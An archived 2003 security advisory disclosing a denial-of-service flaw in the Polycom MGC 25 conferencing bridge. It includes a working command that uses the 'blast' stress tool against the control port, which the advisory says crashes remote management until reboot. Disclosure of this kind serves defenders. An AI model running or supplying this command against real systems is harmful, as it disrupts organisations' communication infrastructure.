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TUCoPS :: Network Appliances :: bt612.txt

DoS - Polycom MGC 25 Control Port





 ------------------------------------------------------------------
         - EXPL-A-2003-014 exploitlabs.com Advisory 014
 ------------------------------------------------------------------
                        -= Polycom MGC25 =- 

 


Nutcase
July 12, 2003 


Vunerability(s):
 ----------------
Denial of Service 


Product:
 --------
Polycom MGC 25  -  MCU Ver: 5.51.21
Polycom MGC 25  -  MCMS Ver : 5.51.211 ( current )
Polycom MGC 50  -  unverified
Polycom MGC 100 -  unverified 


Description of product:
 -----------------------
"The MGC 25 is a robust Multipoint Video and Audio bridge
for organizations with a distributed network, a centralized network or both.
All three platforms ( MGC-25 MGC-50 MGC-100 )
use the same software, share a common feature set and support
the same scheduling and management solutions." 

http://www.polycom.com/common/flash/individual_tours/I_MGC25.htm
http://www.polycom.com/common/pw_item_show_doc/0,1449,853,00.pdf 

 

VUNERABILITY / EXPLOIT
====================== 

tested on Windows XP / 2k 

issuing... 

blast 10.10.10.10 5003 600 680 /t 7000 /d 300 /b user 

( blast is a stress tool from http://www.foundstone.com/Blast ) 

completly crashes the control port on the remote host 

Box must be rebooted to return remote management functionality 


Local:
 ------
yes 

Remote:
 -------
yes 


Vendor Fix:
 -----------
No fix on 0day
Vendor has not responded 


Vendor Contact:
 ---------------
Concurrent with this advisory
securitycenter@polycom.com 


Credits:
 --------
Nutcase
id3nt@boxfrog.com
http://exploitlabs.com 


exploitlabs.com and nothackers.org thanks Nutcase for his contribution 


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